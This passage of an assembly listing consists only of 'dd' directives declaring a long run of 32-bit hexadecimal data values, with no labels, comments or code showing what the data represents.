		dd 0F99E80E4h, 0E7463AB3h, 63A50209h, 0C1291DBDh, 40BC7902h
		dd 2615E8h, 4E41757Eh, 5F02107Bh, 0DF73821Ch, 333B9780h
		dd 25C2280h, 0E781E954h, 0B480A1B6h, 2114C538h,	64722E1Ch
		dd 4E987145h, 0FC1B2C82h, 75190133h, 0CC2B505Ch, 0D21EEE18h
		dd 8DC01F9Dh, 0D3957FFFh, 59131204h, 0D7100091h, 5CDA06A9h
		dd 465B3E03h, 0B0024721h, 3ADFD3BBh, 0B900FDB3h, 4249740Ah
		dd 33069EB5h, 0CD2F06C8h, 0E85A0318h, 0E0888E19h, 0FFE1F280h
		dd 0B502F490h, 9F719C27h, 29C4800Fh, 6F7486h, 85B2A31Dh
		dd 232F297h, 99FE3Ah, 7C4B40A7h, 7E7B30A0h, 72CD3D6Bh
		dd 8160262Ch, 0E4DB423Fh, 9311E4F0h, 0FEDED602h, 68EC630Eh
		dd 27DB774h, 62704474h,	1BC07CCEh, 7B7D9471h, 5E53900h
		dd 0D0D8AB02h, 0D1C23E11h, 98DEA6h, 15CCE11Eh, 0E012193h
		dd 2F7EF830h, 0EC407BC7h, 1EEAB74Dh, 80BBDB78h,	94FEE6B3h
		dd 0F75C85FDh, 0F65500EEh, 3F04D493h, 0F90A1621h, 4E8C30EEh
		dd 0E90934FAh, 0AD1F20h, 0BAA74B7Ah, 8B460021h,	0D110AADAh
		dd 0BD00B393h, 0B4E7F3BFh, 50A9A47Dh, 3822AC4Ch, 0C100A14Fh
		dd 180AF1A2h, 750049C3h, 0F49A17C7h, 9D20259h, 39E2BB29h
		dd 0F800FF5Eh, 167EDE03h, 1990005Eh, 0B815B078h, 39C0DC1Dh
		dd 6A1216Fh, 90775Fh, 0D1937D72h, 865B63Bh, 0D7BEF500h
		dd 9CD2C3B3h, 1CC400F4h, 5F95F8DFh, 7200281Fh, 0D7BB7EE8h
		dd 3028922h, 0AAC124CDh, 0AB885DA6h, 7A7A5F8Ch,	0E206C48h
		dd 6ECD8AFFh, 99842165h, 0FEE00D09h, 0DBC00160h, 0A2BA61FBh
		dd 3B90C47Ch, 0BE5EA80Eh, 4EDE0595h, 694FC600h,	0AD8A12h
		dd 0B2EE67Dh, 68D1C69Ch, 87BCC200h, 1DA2B817h, 8BD000FAh
		dd 6F03DB12h, 290092B6h, 1988C752h, 60382643h, 0B70608Ch
		dd 0F503A54Bh, 0C1CC87C3h, 0A0D5A3BBh, 6065296Ch, 74F9897Bh
		dd 0A30723A6h, 5321DFACh, 0E3648149h, 0B3E13B8Fh, 0BC28F0h
		dd 476197Bh, 5D758D2Dh,	540087F0h, 2A8C1566h, 0D733BAh
		dd 6E39E962h, 925D69A8h, 147CE4F9h, 0C254E101h,	6329DC7Ah
		dd 86195040h, 8BFA0F04h, 9018A487h, 5CF884CBh, 97E81E00h
		dd 0B5AF430h, 0C1A53366h, 6AA0D7C8h, 60A96729h,	753024Ah
		dd 0E0871EABh, 1E34EA29h, 0ED91D79h, 0CA803F8Fh, 0CB25D174h
		dd 26024F00h, 0A7A4345Dh, 4A8F0E3Bh, 8EE76939h,	74406010h
		dd 8B007CDBh, 0C4C0DCBCh, 30BDA7Bh, 2460E047h, 0BEF0D754h
		dd 7A2CD2B4h, 39D4C7h, 0B8A16BB0h, 0E33D4Eh, 0A9591BBDh
		dd 0BAB1639Dh, 0EE091600h, 68517580h, 0F21F07Fh, 0DA9DA13Bh
		dd 80198E84h, 0E205D9ADh, 13A77301h, 0B3E79C50h, 80C1E0h
		dd 0CE61E356h, 8C7CB9FAh, 8F743E60h, 0C062AF33h, 0E4858EDEh
		dd 9538471Fh, 7278BAADh, 0B78DDD00h, 0F0BE1D8Ah, 757D014Bh
		dd 16D73BFAh, 0B094508Bh, 940167E0h, 7B04DE19h,	898E611h
		dd 0D8CB21A7h, 0A9673Bh, 0B99099CCh, 264CDDF6h,	0D3A42Eh
		dd 75827A69h, 1D0032F1h, 0A2058E1Eh, 0F2CE4A96h, 0AD0D0038h
		dd 338DD6A4h, 90156F41h, 78FC9C43h, 23978700h, 0D7E90F13h
		dd 18491F9Dh, 81A7DFC4h, 78F663DBh, 0FC60A2AFh,	0BCF821FBh
		dd 25680008h, 2B76C377h, 1C0B008Dh, 63139552h, 3D1B6FC8h
		dd 0DB7899D5h, 0BE710096h, 5A07AD03h, 280087B8h, 8BFB50DDh
		dd 0F0CD2A49h, 30E098DBh, 0D1388EC1h, 783085A8h, 0CB9B71A7h
		dd 32EF093Bh, 80035B2Ch, 95A35AE4h, 0D3002177h,	0E3EEC13Bh
		dd 0F2AD66F9h, 0AAC30538h, 8DB215h, 3C8FE28Ch, 0B9639212h
		dd 8B4FC110h, 9C7EF8B5h, 0F8764E5Eh, 923865h, 474945D3h
		dd 143056Eh, 0CF67A4E4h, 20760CD8h, 7500BA5Eh, 0AF0BB9ADh
		dd 2120E5h, 0C939F213h,	0DFD63AFEh, 99C59200h, 0A0B2E9CEh
		dd 4D9A09F6h, 69804805h, 4568B68Fh, 7B75DCF9h, 2E315A00h
		dd 10CBB7EEh, 0E84100A3h, 0AEF311BFh, 2F00E417h, 0C038BB9Fh
		dd 7706278h, 0D15145A1h, 749840F7h, 370013E0h, 0E1C958F4h
		dd 707B362Dh, 0ED6EA03h, 3BAD965Ah, 97DDFA80h, 0D0001BCEh
		dd 2C601E0Bh, 550A2Fh, 0F6450763h, 2AA4C443h, 3AC3C500h
		dd 907E0C98h, 0F59507FDh, 202D394Eh, 3FF62057h,	65031D00h
		dd 3B7ADE86h, 0EE1E0007h, 800FE25Fh, 553C1305h,	75FD3E10h
		dd 8F9C230h, 341ED63h, 5B6674C9h, 0FDB0C606h, 0C1BFA4A9h
		dd 6FC0DF6Ch, 0F3BA0034h, 2DEAA2FCh, 1203EBA8h,	0DE11A904h
		dd 0C51900F8h, 38655BC7h, 1A1039A4h, 1500FD6Ch,	683D255Ah
		dd 0DE18204Eh, 78A82307h, 0F62A0C1Eh, 841016EBh, 0E2A1460Fh
		dd 0B0B62C7Bh, 6A3D109Fh, 925C0E07h, 9AC80ECh, 0E1FE11A7h
		dd 39D7880h, 0AB4671F6h, 41CE1706h, 8D10ED26h, 31CDC104h
		dd 3B109C6Bh, 14A43740h, 0CA7CC8h, 0F70C97A6h, 0C260B256h
		dd 0F06A0107h, 3BE0FF64h, 3B868750h, 0C9832CECh, 8EE1E5A0h
		dd 1DAF79D8h, 0A3D1132Ch, 0FA462D00h, 5CA76A28h, 0A0316B4h
		dd 8CD0466h, 0B87CFEA0h, 1FFAA00h, 0BBB16423h, 5CCA09E3h
		dd 0D0004674h, 86F5D596h, 1FA54700h, 0FAEB9CEEh, 0EDE1FC4h
		dd 109D1808h, 0F200B75Ch, 0D0C87E57h, 4879F325h, 0BB1FC82Ch
		dd 718EC0DDh, 0C840F2Fh, 34F2E300h, 6EA6504Fh, 518F00F5h
		dd 8841288Eh, 50C0C1E8h, 0A4590398h, 1FCFE8A0h,	0C0C8153Eh
		dd 6F9FA761h, 78387208h, 0D91D8009h, 63D08104h,	98530052h
		dd 7A718393h, 3800F2D3h, 771022A0h, 92168Ah, 0D8F3857Ch
		dd 560731C2h, 0C0CFDB0Fh, 8CF9E0DCh, 31B3F52h, 0E0D2C882h
		dd 10005364h, 0C528317Ah
		dd 0F260F46h, 470130D3h, 9C442200h, 0E50078ACh,	0D67F7B72h
		dd 8934AAh, 0F745289Ah,	0CAC58001h, 410EFC98h, 8AEA54h
		dd 90C8FB8h, 0EF7E3C4Ch, 4BA1FD80h, 1BC47BCCh, 0FF711000h
		dd 40C36497h, 0B0E761C9h, 0E4BBD377h, 8106AC38h, 3F106393h
		dd 1C660030h, 5F01B847h, 0FA000861h, 46FD3CFFh,	167722Fh
		dd 3DCBE160h, 0E7F82B95h, 75FB30A0h, 4239AA00h,	594D71ADh
		dd 4E310E04h, 2223C38Ah, 1CE0759Bh, 0F1F9E5Dh, 0E858743Ch
		dd 282EA788h, 2C8CACB1h, 754DDAFh, 0FE90FD42h, 0F08D8067h
		dd 2378632h, 7A26801h, 872433B2h, 0F8D1A160h, 0FD352E4Bh
		dd 23C123Eh, 0CC9A064Ah, 86D6EF40h, 77AF9700h, 3B520BB5h
		dd 38DAFC49h, 598231A2h, 1B44F3E5h, 3DC82D43h, 2E01DD0Eh
		dd 19A30A73h, 0A4409C75h, 80C55296h, 8900FF07h,	84FE3E62h
		dd 97CD01Ch, 0BF7D137Bh, 7907E080h, 0F2ED227h, 5700C340h
		dd 0DA12707Ah, 3FCF443h, 0BE10EF81h, 5D9068E7h,	7C01A75Bh
		dd 0FE141397h, 3CF009F5h, 8A5C0016h, 0ADA481C5h, 0C7008BD2h
		dd 76A956EBh, 0A065DCB2h, 1851A29Ch, 9A593AB4h,	21073862h
		dd 0D1DFE935h, 0D4BC510h, 9FE65Bh, 0B86FFA13h, 0D098208Eh
		dd 0AA283B05h, 0FC045A72h, 0F84A3C95h, 127C70D0h, 3A1AA302h
		dd 431CCAC4h, 0F831E879h, 56952413h, 5C500027h,	0D04924D4h
		dd 0A56F1400h, 0BC8CCC34h, 57021CA8h, 0EA9A0056h, 378DACEh
		dd 0F8A076ECh, 0DC00C2ACh, 9BFE8D04h, 4934CF68h, 703950CDh
		dd 67D2AC04h, 40AA08ADh, 584E05F1h, 37C01500h, 6578F467h
		dd 2F92008Ch, 729189F7h, 0BA73C641h, 0BE111707h, 60EFA32Eh
		dd 0A4E6548Dh, 0D4563B48h, 895F500h, 0B0E4C48Bh, 81010C06h
		dd 0B0808E87h, 8DCD01ECh, 5DF09002h, 6FBC209Ah,	23360900h
		dd 539FF9A4h, 113930D0h, 0DDFF8330h, 0DA9E2000h, 12D79B02h
		dd 0F1560005h, 0CB4F95CFh, 5E0008EAh, 4C184410h, 1CA5861Ah
		dd 41B69B94h, 30D739E7h, 0C428F8D6h, 4308D104h,	80AFF88Fh
		dd 5EAA0DF2h, 80ABF539h, 61C36A92h, 7BFB66h, 9D4D1DA5h
		dd 23B53985h, 7676E18h,	0B9ACA4h, 6D33F62Fh, 25E04AE4h
		dd 64705300h, 5E0AEFE3h, 0FA5C7782h, 5B5F0FD9h,	0B0C11C9Eh
		dd 0F1CD8938h, 58EEF898h, 0F3FE960Ah, 509C011h,	60620E15h
		dd 0B5FAAE90h, 4DD200B7h, 0C09DDBE3h, 2FF43CA3h, 0D728D00h
		dd 7DEBA451h, 0DBF10E07h, 0AF8087ECh, 0C4A029C0h, 0B31A3F00h
		dd 0D5178F7Bh, 0D9C50091h, 890419CAh, 0E40016E7h, 0E18646Eh
		dd 48C39A67h, 0AD805460h, 153683DCh, 68D739h, 0A56117FFh
		dd 1F2EAEBBh, 0C1BFD26Bh, 54185A2Ah, 0CBC3F8FBh, 0A4A75E00h
		dd 73200F34h, 325D0E16h, 0EDC3C1Bh, 0D6D82EFDh,	780F968Ch
		dd 6E4969C2h, 0B800722Ch, 80DC2158h, 0C4A303EEh, 8459E14Ah
		dd 80A2AAF9h, 0AAF5B10h, 0A9118Ah, 4EB79F5Fh, 2A3EC316h
		dd 0D305D892h, 597CC41Fh, 0E556C80h, 42F10096h,	1D8518FAh
		dd 0E0CF1190h, 0CCE2C0E1h, 67963Ah, 350D5DCEh, 0F4854430h
		dd 6C00F1FCh, 31DDAD10h, 5C2173B6h, 3F03197Ch, 4C36C72Ah
		dd 59B840A3h, 8000B288h, 0FC84FA06h, 0E0C46641h, 0C671007Fh
		dd 92422639h, 18C14E07h, 9A8CC12Dh, 8AD1FBDDh, 7B0CE0h
		dd 0B16D7FC2h, 22BCF1DEh, 0C9098376h, 209A53CBh, 92E6D03Ch
		dd 0F9B506B3h, 5115A817h, 807F2738h, 89AF2340h,	0E8E221E6h
		dd 0D6DC0022h, 726A3265h, 4F005768h, 1351BB79h,	0E520FEBh
		dd 84A6D127h, 0E9AF280Eh, 9D598FA0h, 0BE001CF2h, 42DD2F99h
		dd 3ABD9Ch, 2CD8ED8Bh, 87E6C4E8h, 0BFDF570Fh, 8DC52030h
		dd 39072E27h, 0AD003EF0h, 36B899CFh, 237AA0A7h,	13741E00h
		dd 0CBA18D30h, 0C2400FCh, 0BCC688E5h, 7B0003B1h, 41C46EF2h
		dd 125DE29h, 5ABE067Eh,	0C87A0812h, 0BCE06B2Fh,	868DD200h
		dd 0EFFFE0F0h, 5327013Ch, 0DC5C9F1Ah, 15BC867h,	0E8ED4000h
		dd 4F446B18h, 6FDF1DD5h, 792DC006h, 0EE14FC30h,	0EA0062FCh
		dd 5A0AF152h, 780F9223h, 7A6900DEh, 4E904440h, 0DC5CD57Fh
		dd 76DE4CBAh, 0B45DA012h, 7E13A001h, 0C6F911EEh, 73254CD0h
		dd 1DF501AFh, 68A436E6h, 764AF86Bh, 908C8F07h, 5D500F84h
		dd 9BFC1C6h, 1324C0AAh,	4200B0ABh, 0AD3018A8h, 5A00B498h
		dd 4669B6E7h, 0EFE9A4h,	1C35E1F6h, 0BCC4D8FFh, 0FF19C23Bh
		dd 0A11FA300h, 0F708F98Fh, 4B7AE8h, 7D42E7FCh, 0EA96F403h
		dd 0ED495700h, 0E5879B24h, 0D2E3005Ch, 1364C3Ch, 5B0C7B88h
		dd 886D852Dh, 12DBEC98h, 400D89F4h, 0E8730FFCh,	171E371Ch
		dd 0F3EE008h, 62BFF4Dh,	0F0C0D76Eh, 6F2C0327h, 8EA872F6h
		dd 0EF8719A8h, 0D099FD03h, 0B083F867h, 605744DBh, 693D590Ch
		dd 80A80362h, 6100DE98h, 2C886AC5h, 51C2FFFh, 0CD91FDDBh
		dd 0ACA8D03Bh, 3F1FF7CFh, 24E8A3B6h, 0C7FF8D03h, 0A8DB0D96h
		dd 0B94F39h, 80952E9Ch,	9011743Eh, 0FA0D90C0h, 75313BA2h
		dd 0E41C0023h, 0D4B33025h, 19004DBEh, 0DBB6C37Fh, 28CDF58Ah
		dd 0F83CE7C4h, 17F8066Eh, 0B01DFF96h, 0E015870Eh, 2A40A05Ah
		dd 6E6F8Ch, 0A020E73Ch,	0B6CCCB8Fh, 0E91B9F00h,	377A6298h
		dd 0D711001Ah, 0DEC4C289h, 7E00759Ah, 8638E8F8h, 3EEF73Bh
		dd 0FBD71FF1h, 8185428Ah, 0E834C303h, 90EC9317h, 36CD6600h
		dd 8D3B2B3Fh, 69D90014h, 0F420DB32h, 0D800DE27h, 5C2CC48Ch
		dd 2C29BB5h, 69DFD179h,	0DE058D7h, 5A07A125h, 0AFD4377Fh
		dd 4C1D5080h, 8EE41D60h, 0B980BD0Bh, 0DD5279F7h, 0A338D6BEh
		dd 0C022E83h, 0A01A0C8Eh, 0AD58A164h, 2A1F00AEh, 0FA6FC293h
		dd 0C008F96h, 0D55A5EF7h, 74DD40h, 85AF4AA5h, 0A35BDFE2h
		dd 0CC14B15h, 70425A8h,	5131348Ch, 0B6C84337h, 258F708Eh
		dd 0AC0078EFh, 6CEB624Bh, 340105E6h, 4A08DB39h,	4C70CEA2h
		dd 1610F7E5h, 5307B3F5h, 0BEDA9A34h, 0E0FF0292h, 45386Ch
		dd 78499484h, 0F7A095A4h, 1CEF5Dh, 0CF7CC6F0h, 736ED32h
		dd 0FE20F5F4h, 0FF25E06Ah, 5B0ECA3Ch, 6F8A66A8h, 20548FCFh
		dd 5CA380B0h, 9CFB0053h, 0EDA177AFh, 0F303057Fh, 0E14636ABh
		dd 0DF3A00DEh, 998FF1C1h, 9300630Fh, 33356523h,	0B3E060h
		dd 0FDB054F4h, 611882FEh, 0A6FF3Ah, 50F1C240h, 0CDA77h
		dd 0CEE869F4h, 52CB9830h, 0C81B4E00h, 3F186B33h, 8A2F0058h
		dd 0DFFD920Ah, 0E300E7CAh, 49E4FE0h, 14B41D34h,	0BC50A24Ch
		dd 73843801h, 703C6919h, 9CA9A9EAh, 4C34301Ch, 0AFDC1E01h
		dd 0AAD32ABFh, 0D1420h,	7AEC0177h, 902BCFFFh, 820512E2h
		dd 0C9E3DE59h, 0C57BCC80h, 0ED0303C7h, 4F51F61Ah, 253AC3A0h
		dd 2BF44705h, 0B401A034h, 0F179DB24h, 1700A02Ch, 0ADA73E99h
		dd 0A002F6Bh, 6AD97041h, 3DD0C93Bh, 6147CB2h, 420388BCh
		dd 60671AA2h, 0D0570CA8h, 0F87DD705h, 9000A88Dh, 2EFB70CDh
		dd 30092EE0h, 0D0B28B94h, 0BF80D00Eh, 0C909129h, 58EEC72Fh
		dd 9034E6C1h, 0DD930030h, 9F38C1Ah, 609255AEh, 0C69C6E00h
		dd 376DD338h, 0FCE900B5h, 89C5F58Ch, 1F001562h,	7AE2BF28h
		dd 78EC9EB7h, 2F0901D0h, 0B44D3BBEh, 0C02CC935h, 80E2BDB0h
		dd 0A590160h, 7D5553h, 3869FF0Eh, 6313CAC4h, 0E8E33900h
		dd 278FD37Ch, 6849A04h,	6FFA5A2Fh, 557F283Ch, 0FF090604h
		dd 99C06596h, 0C1629Ch,	8FF28187h, 8E321395h, 6F099174h
		dd 20167038h, 0FA9EF8D8h, 0DA110052h, 37057BD5h, 0DE005A44h
		dd 3FAD2083h, 35361Bh
		dd 0C8FF825Bh, 1A9F6203h, 3F415360h, 17B9A3BAh,	0F0F47Ch
		dd 33F62E80h, 0A0FEB0D0h, 8690CDE6h, 796D6200h,	0CB1A2070h
		dd 655E0081h, 1DA63CFAh, 84004C44h, 6D24AC32h, 7370668h
		dd 30C03526h, 0E56420F5h, 3A1EE14Bh, 0EB81524Ch, 145146FBh
		dd 8E00FC2Ch, 0F05B950Dh, 93005FAEh, 0F4DDC26Bh, 0F2E79Eh
		dd 8DA19A7Eh, 512E8E13h, 0A083AD2Eh, 25629B00h,	5389C09h
		dd 87675AFEh, 919CC09Fh, 51001397h, 4A444B16h, 0A521Bh
		dd 846069FCh, 9008A46Eh, 466DF60Fh, 3CFDBCCFh, 2C0072DAh
		dd 9726C714h, 3E2DC879h, 49FFD3AEh, 75003C21h, 0A8C4B3B5h
		dd 370036D7h, 1B0E16A0h, 0FFE8EB82h, 2663B851h,	8160E8h
		dd 0A388D04Bh, 794CC89h, 2F8C9000h, 72E971F7h, 1D370016h
		dd 0FB48E8B7h, 74007FEEh, 6A179B3Fh, 7E3DD79Fh,	0CAD118CBh
		dd 0F0B55873h, 8CEE3Fh,	48A526D9h, 747F2B53h, 3D400072h
		dd 0CAB49A94h, 0FC004593h, 0DB558C0Eh, 95081Eh,	3A54D0A2h
		dd 76BB1B40h, 7C7124h, 22477B00h, 54485E69h, 0F4C85Ch
		dd 0E3B2F1D6h, 0A0532CBAh, 0EF0F6E00h, 2145DDDBh, 0E8E00093h
		dd 540CDC29h, 97008933h, 22015E15h, 240ABCB4h, 98323Dh
		dd 57E5CA29h, 9D00F1BBh, 77C594C1h, 4ADDA504h, 40AC3368h
		dd 2F0DA088h, 0FFC46501h, 5C8786B6h, 0DB0E5C2Ch, 0F160C3AAh
		dd 0A0CF342Fh, 11DA200h, 0E184D158h, 0A8E55AD7h, 0A5D2017Ah
		dd 5B27C38Dh, 393CCEE8h, 0F57107h, 0F7665EF0h, 20EFB8E6h
		dd 0DC23D800h, 22BFD126h, 7E200C7h, 0B7199FAAh,	0EC20B7Dh
		dd 68449B5Ch, 0D9350h, 4239ACC4h, 4A541358h, 1E64B44Ch
		dd 5864C8AFh, 76C51A00h, 7DEBA294h, 3A51007Ch, 72A47348h
		dd 0D7016513h, 0DB917EDFh, 0A460F3BFh, 165809A7h, 0E2003C47h
		dd 2E27E896h, 120C2400h, 0CA95ABFBh, 91F207h, 567545B8h
		dd 326B0ED1h, 0A0058700h, 85077DE6h, 2A923E54h,	0DC603100h
		dd 82FA5072h, 0C106A6Ah, 0A22BBA80h, 2F9ED7Ah, 2DBEB5EFh
		dd 98E0C4A0h, 1A1DD80Ch, 6C003236h, 6F8B8591h, 0E6E0E7Fh
		dd 0B0A0CD20h, 5D48F0A2h, 0AE94B139h, 6A40CCFDh, 4ED24621h
		dd 4334308Eh, 0D58842Bh, 36F50012h, 0AAB940B0h,	6D8D0063h
		dd 0D5CC3CEFh, 1005516h, 331A079Ah, 5783B50h, 90A6B63Eh
		dd 0B4CCC8CEh, 8917AE00h, 87D4E823h, 91E71DDBh,	20C7180Dh
		dd 9904F53Fh, 1784BEF0h, 0E890B0D1h, 0CFC02040h, 0B6331DF7h
		dd 0A46030D7h, 4086D090h, 2B8933ACh, 0C96E1D0h,	0F892F4E7h
		dd 0AB045B58h, 0C398B12Dh, 1F8C50A0h, 0B0E7C7FBh, 3BCD9B30h
		dd 989F515h, 0FE8F0E8Ch, 3D1806Eh, 509060C5h, 0E04D0896h
		dd 0B7AC2537h, 0B547414h, 8881C75Ch, 87B43100h,	0FBE71700h
		dd 0A1D14843h, 0EA7D0078h, 132E3E22h, 20F27A34h, 0ED5BD31Ch
		dd 89CB53C9h, 9D4100D7h, 1DF2CEF4h, 47B71BC2h, 0F0DA3A9Bh
		dd 0E5250B70h, 0E7D2380Fh, 0A05E8F14h, 0E65903D8h, 0A8480FC2h
		dd 6A40EEB2h, 0BBC32DE5h, 0EBA54Ch, 6B242619h, 144006h
		dd 33489362h, 298FA87Eh, 1FFF2A00h, 4D6781E1h, 857CB8h
		dd 0C4D41675h, 0E092C174h, 30CE258h, 81F864B7h,	7831808Eh
		dd 0CDD10106h, 24BA7DD4h, 0C403F08Ch, 0ECA8552Ch, 940B390Ah
		dd 0D14A00BFh, 0F51FEBFCh, 67CA0E83h, 211896D3h, 0A4AB2CE8h
		dd 0D98F8EE0h, 8D160100h, 44029486h, 701E7436h,	0C9BD24E7h
		dd 6B458124h, 207C76AFh, 8912BE5Ah, 75EEAh, 55909BB2h
		dd 0F0964175h, 0FEF97C3Dh, 45D20BB3h, 6C8CF5E3h, 2301D719h
		dd 0CC96FC8Bh, 0E0D77808h, 74329h, 91F2C98h, 10DF4705h
		dd 78251800h, 9922DB7Ch, 0BA9324FEh, 0E3D9238h,	0EB6105C0h
		dd 0E0D0454Eh, 0A100B60Bh, 91EAA0F6h, 11EFB17h,	0E19E21F4h
		dd 0C4BACFBDh, 350081D8h, 3B78F518h, 13BBA1CCh,	1BE9307h
		dd 0EA506314h, 3E1BCCCFh, 0FF5CCDFCh, 32CC1FF0h, 0A3CB6F87h
		dd 0ED7009A0h, 0CE17910h, 87EAC866h, 21C01608h,	70ED5828h
		dd 1B22169Eh, 84C4001Eh, 0BA5968E3h, 2869C930h,	0F409D7ADh
		dd 0A8D40343h, 0A7244C87h, 2114D5A3h, 85D60Bh, 38500330h
		dd 0F9E8D40h, 462267Bh,	5865BE46h, 0CCC6810Fh, 0BB2C07A3h
		dd 0A0414660h, 49C562E4h, 0BAE1E2CDh, 0CED1FFD0h, 0E49BF437h
		dd 6451D9C4h, 11ED7130h, 0C057E121h, 3DED592Fh,	10CC7C04h
		dd 55220EF2h, 809C330h,	0A774436Ch, 7AD20758h, 85F60009h
		dd 0E9E542A6h, 6E034EF0h, 0E29221C2h, 12601068h, 0A8420001h
		dd 7CF3B7C0h, 5877035Dh, 37303C26h, 46AD5CC8h, 8013533Fh
		dd 33348418h, 2C2D9h, 0A9863C8h, 529C86F6h, 48DB0E00h
		dd 9AADF060h, 0B8FF2EF3h, 4F840194h, 3013A767h,	4B000669h
		dd 0A42F63Ah, 3F498F45h, 267D765Ah, 9204328h, 7E00574Ah
		dd 0CE463C15h, 0A84B6A00h, 0B597C720h, 6E0F1CFFh, 5E57418Eh
		dd 0F168C0CFh, 4B9CE893h, 3AB81A00h, 0B994E996h, 0AF58012Eh
		dd 0FB378D2Dh, 0BDC49C78h, 4DD36F40h, 7DFFBFh, 0C5EC2DE4h
		dd 7CDB45CDh, 2300D578h, 0A5886413h, 168C551Fh,	840417h
		dd 7AA0ADCBh, 2238AC47h, 27D31375h, 5857000h, 30C5EDA1h
		dd 86511C65h, 786245B1h, 0E06DAD30h, 0C07F3512h, 2F854E10h
		dd 6C0EC73Dh, 2CC43283h, 3B13905h, 7006EF2Eh, 99D8DE25h
		dd 84027CDFh, 0BAFA3027h, 0E3DC409Eh, 9C470CD6h, 4B381DC7h
		dd 30781C39h, 7BA4302Eh, 0C2ED0043h, 0AF4E3DF8h, 68C086C6h
		dd 0FCFD5F9Eh, 0FA593717h, 0C3E69018h, 640CC82Ah, 8911237Eh
		dd 6BE318E8h, 6D4E60CCh, 9EB0B700h, 2505FB1Ch, 9FBD00CDh
		dd 8A5DB17h, 0B2007C1Fh, 7B7686CCh, 0C6C1C79h, 0CDFBCA2Fh
		dd 21036F40h, 0E5446612h, 4B64F84Dh, 0F6401D34h, 483DC0CDh
		dd 8EED1F53h, 812CC330h, 7D920B4Eh, 9DF00B5h, 6D4F437Ah
		dd 6E07A721h, 736CF8F5h, 3FC6D8C0h, 0ECF100C5h,	5846BD7Ah
		dd 5A3E02E7h, 7F21071Eh, 1C8140DBh, 57ED6E88h, 815FE0h
		dd 9C1A4CF8h, 0F2428D7Fh, 28C79D30h, 3B69B8A5h,	7D864ECFh
		dd 9588166h, 9821D060h,	5CF92h,	0B62AEFF8h, 97893B52h
		dd 7A44901Ch, 583CEC0Ch, 306361CFh, 48F84282h, 4CFC6730h
		dd 30843798h, 19AD144h,	0FBB9CF90h, 92912146h, 0D2008AC1h
		dd 1C6019ACh, 0C30D3FEFh, 8E350E05h, 4AB7C329h,	6CFC46A8h
		dd 0E0BEC803h, 877365C6h, 0D0905456h, 0EC234848h, 48CF6307h
		dd 0D3626DF4h, 0CF6C8620h, 0B476F0h, 0ADE8C69h,	1A215665h
		dd 0AA1FA07Ah, 0D8840FFAh, 0C2876240h, 0A75181F0h, 4189313Dh
		dd 0A0A6AE08h, 1A00F420h, 5F686D84h, 6B13C0h, 245DC3D7h
		dd 9CA80AF2h, 5279EE60h, 5B1D8Fh, 0DE6F2F04h, 5DC7B24Fh
		dd 3B6D2902h, 0A8277010h, 215668E0h, 1C8041BCh,	426BC8DFh
		dd 0F61B3CEBh, 0CD5191Eh, 8749EA9Ch, 3358C603h,	0F0EF63D6h
		dd 5C136DFBh, 1B05D28Eh, 12D86E7h, 0F2AADF80h, 8788405Ch
		dd 4B0103E5h, 0FBF69713h, 0F0C8FC08h, 0C2DC0089h, 0A94D9EAEh
		dd 1D009566h, 17449A3Fh, 2A1612h, 0AFB10CD1h, 0DEF8A7F4h
		dd 30C8AB00h, 0DAAA52B3h, 6AEC07ADh, 0F055C6AEh, 2365F1B2h
		dd 80040B3Ah, 19730DEh,	0C8D273h, 7C4682AFh, 6B800744h
		dd 7AD73901h, 16105570h, 0E5294FE0h, 39AE43FCh,	1C00AFC5h
		dd 10456154h, 0EC2CF5A6h, 0B40025E8h, 4327A14h,	6A6D0009h
		dd 0E402DB41h, 2A007B80h, 4610603Ah, 3A36892h, 7FF767B6h
		dd 70A00B3Dh, 0A500DCA2h
		dd 573E2D78h, 33EC10h, 3DA61CCBh, 22062AFDh, 18D3A58h
		dd 2717D970h, 9BD1DAC0h, 6AE42181h, 0D8EDE73Ah,	481FD999h
		dd 8E81F979h, 0A9B771B9h, 7FAA7080h, 0CE9336F6h, 56688160h
		dd 32AFEDEh, 0E6BDB8B7h, 20103E80h, 40413972h, 80CC9091h
		dd 51CF3BDBh, 0D2448C78h, 3A6307E7h, 0FABA92Ch,	0FA9D3818h
		dd 203C4C37h, 781BA80h,	0B798C0ADh, 0E320173Bh,	7E9780C0h
		dd 2A883D79h, 94BFAFh, 71E1FB4Dh, 15FECBA2h, 5DB5314h
		dd 3EBA039Ch, 0D0597219h, 0FB8A96h, 8FC64EC8h, 0C37C8E6Ch
		dd 394A3F0Eh, 0D7F380CBh, 0ABAF15h, 418FDDD4h, 0D8C71105h
		dd 8023063Eh, 0B3402B8Dh, 2CDDBE7Dh, 331B03Ch, 0C96AD413h
		dd 8494C2A0h, 0FE40C10Bh, 1797E73h, 31DA20B4h, 3DB9DB24h
		dd 10DA20A5h, 0A77C8400h, 87704F14h, 0AB672465h, 0DFE700BCh
		dd 8A533A0Bh, 5D369C00h, 0CB314149h, 0E38900F2h, 0C07966FEh
		dd 467076BCh, 0D2E8A300h, 3FC51B6Fh, 67EB0012h,	0ECE60786h
		dd 0CE0FAA3Ah, 6042BD1h, 210388Ch, 0FFA99271h, 1C4074F1h
		dd 376335C9h, 0F00ADD60h, 3B8BB2DBh, 12006641h,	0F7F5D31Ch
		dd 2806C7BEh, 3DB83E06h, 37E7B49h, 69F577A7h, 0AEA3629Ah
		dd 0F22D70DFh, 0F100EE54h, 5D93024Eh, 159C29B0h, 68AEA00Ch
		dd 2E590400h, 5F356286h, 0EE6A1E00h, 8C7739CDh,	1ABC389Fh
		dd 0FF804830h, 0DA007582h, 1C4A5289h, 3A17B2Ch,	6320AD9h
		dd 52E78BBDh, 0C872D30h, 6B2F4D2h, 717447h, 3A880C5Bh
		dd 6C50138Ah, 2D0020E0h, 0DC9D8F3h, 3823F4h, 0D747EB15h
		dd 0BA675579h, 0B82E4C00h, 81FEB6D8h, 13430760h, 0E70E6BEAh
		dd 0B3D27026h, 0D00C562h, 2A571074h, 12E51Ch, 2DD99361h
		dd 4B3CE4E6h, 3EC9C800h, 34190BBEh, 6FCFEC5h, 2B0DC423h
		dd 0F4004057h, 0ECF33A1Ch, 8B4358h, 0FA25D98Dh,	0C6DE771Ah
		dd 0AA442B00h, 9EAB050Eh, 9D9700B0h, 94459610h,	2507DB29h
		dd 7654C2B5h, 0B6C34350h, 1C750CE3h, 0F4683A2Bh, 0A47FE900h
		dd 0C34476B9h, 0EF5A00CCh, 0FF955DA5h, 0B80DA305h, 9925755Eh
		dd 7AF99FC1h, 73C52A80h, 7CE03AABh, 6C94D200h, 6EDC93F9h
		dd 6FB01EE1h, 0B204CE44h, 0C5860300h, 0F560C143h, 6EBA0949h
